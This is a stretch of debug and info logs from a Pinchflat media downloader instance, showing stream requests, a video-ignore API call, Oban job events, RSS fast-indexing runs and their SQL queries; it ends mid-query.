["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:06.103 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1004414 to 161252887 19:37:06.103 [info] Sent 206 in 650µs 19:37:06.197 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:06.197 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:06.198 [debug] QUERY OK source="media_items" db=0.7ms idle=876.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:06.198 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1232 to 161252887 19:37:06.198 [info] Sent 206 in 1ms 19:37:06.272 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:06.272 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:06.273 [debug] QUERY OK source="media_items" db=0.1ms idle=904.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:06.273 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 1236498 to 161252887 19:37:06.273 [info] Sent 206 in 460µs 19:37:12.450 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:12.450 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:12.451 [debug] QUERY OK source="media_items" db=0.1ms idle=1082.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:12.451 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 565996 to 161252887 19:37:12.451 [info] Sent 206 in 922µs 19:37:12.510 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 19:37:12.510 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 19:37:12.511 [debug] QUERY OK source="media_items" db=0.3ms idle=1142.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 19:37:12.511 [debug] Streaming media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e from 159904882 to 161252887 19:37:12.511 [info] Sent 206 in 828µs 19:37:21.023 [info] POST /api/v1/videos/6107/ignore 19:37:21.023 [debug] Processing with PinchflatWeb.Api.V1.VideoController.ignore/2 Parameters: %{"id" => "6107"} Pipelines: [:api_v1] 19:37:21.024 [debug] QUERY OK source="media_items" db=0.1ms idle=1654.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6107] 19:37:21.024 [debug] QUERY OK source="tasks" db=0.0ms idle=1655.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."media_item_id" = ?) AND (o1."state" IN (?,?,?,?,?,?,?)) [6107, "scheduled", "available", "executing", "retryable", "completed", "discarded", "cancelled"] 19:37:21.024 [debug] QUERY OK source="tasks" db=0.0ms idle=655.7ms DELETE FROM "tasks" WHERE "id" = ? [73] 19:37:21.029 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:37:21.030 [debug] QUERY OK source="media_items" db=0.6ms idle=5.6ms UPDATE "media_items" SET "media_filepath" = ?, "prevent_download" = ?, "updated_at" = ? WHERE "id" = ? [nil, true, ~U[2026-07-24 19:37:21Z], 6107] 19:37:21.030 [info] Sent 204 in 6ms 19:37:27.563 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:57.564 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.924 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:27.565 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:57.566 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.925 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:27.567 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:57.568 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.926 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:27.569 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:31.138 [info] GET /api/v1/videos 19:40:31.138 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 19:40:31.161 [debug] QUERY OK source="media_items" db=23.3ms idle=1769.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 19:40:31.211 [info] Sent 200 in 73ms 19:40:41.177 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 19:40:41.177 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 19:40:41.177 [debug] QUERY OK source="media_items" db=0.1ms idle=1808.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 19:40:41.199 [info] Sent 200 in 22ms 19:40:57.570 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.927 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:11.585 [info] {"args":{"id":2},"id":763,"meta":{},"system_time":1784922071585437133,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:11.586 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1008.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:41:11.586 [debug] QUERY OK source="tasks" db=0.6ms idle=216.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:11.586 [debug] QUERY OK source="settings" db=0.2ms idle=217.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:11.586 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:41:11.587 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:11.587 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:41:11.587 [debug] QUERY OK source="sources" db=0.9ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:41:12.183 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:41:12.184 [debug] QUERY OK source="media_items" db=0.2ms idle=597.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:41:12.184 [debug] QUERY OK source="media_items" db=0.2ms idle=597.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:41:12.185 [debug] QUERY OK source="tasks" db=0.1ms idle=597.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [766, 2, ~U[2026-07-24 19:41:12Z], ~U[2026-07-24 19:41:12Z]] 19:41:12.185 [info] {"args":{"id":2},"id":763,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":600111,"event":"job:stop","queue_time":321147,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:12.186 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:20.594 [info] {"args":{"id":1},"id":764,"meta":{},"system_time":1784922080594356293,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:20.595 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1225.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:41:20.595 [debug] QUERY OK source="tasks" db=0.6ms idle=1225.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:20.595 [debug] QUERY OK source="settings" db=0.3ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:20.595 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:41:20.595 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:41:20.596 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:20.596 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:41:20.771 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:41:20.771 [debug] QUERY OK source="media_items" db=0.4ms idle=175.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:41:20.775 [debug] QUERY OK source="media_items" db=3.9ms idle=176.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:41:20.776 [debug] QUERY OK source="tasks" db=0.1ms idle=180.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [767, 1, ~U[2026-07-24 19:41:20Z], ~U[2026-07-24 19:41:20Z]] 19:41:20.776 [info] {"args":{"id":1},"id":764,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":182359,"event":"job:stop","queue_time":420024,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:20.777 [debug] QUERY OK source="tasks" db=0.3ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:27.571 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:35.609 [info] {"args":{"id":3},"id":765,"meta":{},"system_time":1784922095609206886,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:35.609 [debug] QUERY OK source="sources" db=0.1ms idle=1240.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:41:35.609 [debug] QUERY OK source="tasks" db=0.1ms idle=1007.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:35.609 [debug] QUERY OK source="settings" db=0.1ms idle=240.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:35.609 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 